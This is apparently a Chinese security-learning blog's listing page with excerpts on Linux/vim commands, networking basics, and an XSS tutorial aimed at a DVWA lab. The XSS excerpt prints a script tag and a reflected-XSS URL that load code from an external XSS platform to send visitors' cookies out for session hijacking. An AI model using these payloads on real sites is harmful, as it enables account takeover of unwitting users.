    一、VIM编辑器 1、打开1.txt文件 vim 1.txt,默认是命令模式,可以通过ctrl+shift+V快捷键粘贴内容 2、模式切换 esc:切换命令模式 i:切换输入模式 l:在光标所在行首转换为输入模式 a:在当前光标所在字符的后面,转为输入模 A:在光标所在行的行尾,转换为输入模式 o:在当前光标所在行的下方,新建一行,并转为输入模式 O:在当前光标所在行的上方,新建一行,并转为输入模式 s:删除光标所在字符 r:替换光标处字符 D:删除一行 3、查找 /:从光标处往后查找 ?:从光标处往前查找 4:保存,先输入: q:退出 w:保存 wq!:强制保存退出 二、创建文件、文件夹 1、创建1.txt文件 touch 1.txt 2、创建1文件夹 mkdir 1 3、将123写入到123.txt,没有123.txt文件会创建 echo 123>>123.txt 三、目录相关命令 1、cd .. 返回上一程 2、cd / 进入根目录 3、cd /etc 进入etc目录 4、pwd 查看当前所在目录 5、ls -an 显示所有文件及文件的权限 四、系统相关命令 1、top 显示当前系统正在执行的进程相关信息 2、ifconfig 查看ip相关信息 3、uname -a 查看系统版本相关信息 4、history 查看历史使用命令 五、开启apach服务 1、service apache2 start 2、cd /var/www/html 该目录是网站目录 3、通过ifconfig查询ip即可访问 禁止非法,后果自负 ...

    2021-03-28 638
  • HW常见攻击方式 --XSS跨站脚本攻击

    一、XSS介绍 跨站脚本攻击(CrossSiteScripting),为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 二、XSS平台 1、注册登陆账号,没有百分之百的安全,仅供测试交流 https://xssaq.com/xss.php 2、新建项目 3、自动生成要插入的xss代码 <sCRiPt/SrC=https://xssaq.com/dGLM> 三、反射性xss 1、在存在xss漏洞的网站,插入上面生成的xss代码,点击submit 2、刷新xss平台,会发现有一条数据 3、知道了网址,也知道cookie,下面利用工具登录,不用输入账号密码,直接登录了dvwa平台 4、反射性xss是一次性的,也就是说,需要人去点击下面的链接,才能触发该漏洞 http://192.168.1.14/dvwa/vulnerabilities/xss_r/?name=%3CsCRiPt%2FSrC%3Dhttps%3A%2F%2Fxssaq.com%2FdGLM%3E# 四、存储型xss 1、在留言板输入上面生成xss代码 2、只要刷新一下该页面,xss平台就出现一条记录,也就是说只要有人看到该留言板,我们就能获取其cookie 3、利用工具登录 4、存储型xss漏洞,理论是永久的,只要有人浏览到你插入的代码,他的cookie信息就会被拿到。 五、DOM型XSS 1、点击select,发现url中有English, 2、修改url中english为aaa,发现插入了代码中,所以存在dom型xss注入 3、插入生成的xss代码,即可获取对方的cookie 六、工具下载:加入交流群 ...

    2021-03-23 702
  • 渗透测试入门 -- 网络基础

    一、技术架构 1、C/S模式 客户端与服务器进行交互,比如qq、播放器 2、B/S模式 浏览器与服务器进行交互,比如各种浏览器 二、HTTP协议 1、概念 HTTP协议(HyperText Transfer protocol),超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传输协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。 2、交互过程 3、请求方式,搞清楚这两种GET、POST GET / HTTP/1.1 //请求头、 绝对路径、http版本Host: www.baidu.com //主机地址Connection: keep-alive //保持连接User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54 //浏览器指纹Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 //可接受数据类型Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6//数据是否压缩Cookie: COOKIE_SESSION=172_0_2_0_2_0_1_0_2_0_0_0_230_1603019818_3_0_1603019991_0_1603019988%7C3%230_1_1603019816%7C1; BAIDUID=9E26AC2D4C32E68570BEE1E10C800038:FG=1; BIDUPSID=9E26AC2D4C32E685011F62D003139B4A; PSTM=1603019471 //cookie信息 POST /dvwa/login.php HTTP/1.1 //请求方式、绝对路径、http版本信息Host: 192.168.1.106 //主机地址Content-Length: 86 //实体数据的大小Cache-Control: max-age=0 //向server 发送http 请求确认 ,该资源是否有修改,有的话 返回200 ,无的话 返回304.Origin: http://192.168.1.106 //谁发起的Content-Type: application/x-www-form-urlencoded //告诉客户端实际返回的内容的内容类型User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 //浏览器指纹Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 //可接受数据类型Referer: http://192.168.1.106/dvwa/login.php //重定向地址Accept-Encoding: gzip, deflate //可接受压缩数据包Accept-Language: zh-CN,zh;q=0.9 //可接受数据语言Cookie: security=low; PHPSESSID=7maqsmj55p7t98luium583pm91 //cookie信息Connection: close //关闭长连接 //回车username=admin&password=123321&Login=Login&user_token=5a5e4fe4cd22298541d4accc9574f51e //post提交的数据 4、状态码 200:正常访问 302:重定向 403:文件存在,但是禁止访问 404:文件不存在 500:服务器宕机 三、OSI七层模型 1、物理层---网卡 2、数据链路层---交换机 3、网络层---路由器 4、传输层---TCP/IP协议 5、会话层---建立通信拨号上网 6、表示层---数据的加解密 7、应用层---HTTP协议 四、Cookie和Session 1、Session与Cookie的最大区别就是一个存储在服务器端,一个存储在客户端。 2、cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗。 3、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能。 4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。 禁止非法,后果自负 ...

    2021-03-22 655

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注